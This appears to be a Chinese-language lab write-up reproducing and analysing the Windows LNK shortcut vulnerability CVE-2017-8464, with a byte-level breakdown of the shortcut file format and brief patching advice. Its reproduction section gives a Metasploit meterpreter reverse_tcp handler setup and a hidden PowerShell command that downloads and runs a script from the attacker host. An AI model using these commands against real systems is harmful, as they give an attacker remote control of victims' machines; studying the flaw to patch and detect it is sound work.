赞
踩
概述:微软在2017年6月份的补丁中修补了一个快捷方式(CVE-2107-8464)的漏洞,公告称此漏洞被国家背景的网络攻击所使用来实施攻击,该漏洞也被称为震网三代,随后Metasploit上发布了该漏洞的PoC。官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。本次实验主要分为漏洞复现和poc原理分析两部分,通过实验理清该漏洞可能的的攻击途径以及如何防护。
该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。当存在漏洞的电脑被插上保存有漏洞文件的U盘时,不需要额外操作,漏洞攻击程序就可以执行并完全控制用户的电脑系统。
Windows系统使用二进制解析.LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 load 进内存时与当前用户具有相同权限。
攻击者利用这一解析过程将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后即被黑客所控制。
攻击机:Kali Debian 7.x 64位 ip:192.168.150.131
靶机:win7 x64 专业版 ip:192.168.150.129
NAT模式子网网址:192.168.150.0
创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒。
(1)切换至/var/www/html目录
(2)生成一个反弹的ps1的shell
(3)查看已生成search.ps1的powershell后门
(4)启动Apache服务并查看状态
(5)kali下创建监听反弹
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.150.131
set lport 5555
exploit
在靶机上创建一个powershell远程快捷
powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.150.131/search.ps1’);test.ps1”
启动靶机远程快捷键,反弹监听,进入shell,成功进入靶机
利用Metasploit中CVE-2017-8464模块制作U盘,插入靶机即可触发漏洞。
根据官方文档利用hxd工具构造poc,保存为lnk格式,将lnk文件放入靶机桌面,新建C:\test\a.txt文档,双击lnk就会弹出a.txt。
为方便分析具体字段,构造如下更简单的poc。
官方给出lnk文件由五大部分组成:
其中用于触发漏洞的是LinkTargetIDList和ExtraData两个Block。
红色:HeaderSize,必须为0x4c。
黄色:LinkCLSID,数值不能变,否则lnk打不开。
黑色:LinkFlags,为1表示本LNK文件包含有LinkTargetIDList。
上边三部分属于shelllinkheader。
黑色:IDListSize,0x6E=sizeof(IDListSize)+sizeof(Item[0])+sizeof(Item[1])+sizeof(Item[2])
绿色:itemID[0]
红色:itemID[1]
蓝色:itemID[2],包含恶意dll路径。
这是LinkTargetIDList。
红色:SpecialFloderDataBlocksize
黄色:blocksignature,ExtraData可以包含多个部分,0xA0000005的话表面这块是SpecialFolderDataBlock
绿色:specialfolder id,3 代表的是CSIDL_CONTROLS
黄色:offset,一个无符号整数,指定由SpecialFolderID指定的IDList的第一个子段的ItemID的位置。此值是链接目标IDList的偏移量(以字节为单位)。
SpecialFolderDataBlock结构指定特殊文件夹的位置。当链接目标是特殊文件夹时,可以使用此数据来跟踪该文件夹,以便在加载链接时可以转换链接目标IDList。
Windows系统二进制解析lnk文件,到SpecialFolderDataBlock时,0x00000010说明这是SpecialFolderDataBlock字段了,0xA0000005是额外数据部分的签名,然后0x00000003说明的是指定的是IDlist中的第三个文件,即itemID[2],0x00000028指明了目标IDList的偏移量为28字节,从IDListSize后面开始数28字节就到了itemID[2],然后将其中的DLL加载进内存从而执行其中的DllMain。由于这个解析过程是在explorer.exe中实现的,所以对应的load进内存的恶意DLL也具有同样的高权限(一般是High)。
1.使用HanSight Enterprise监控主机行为,及时对警告排查处理。
2.更新Windows操作系统补丁
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。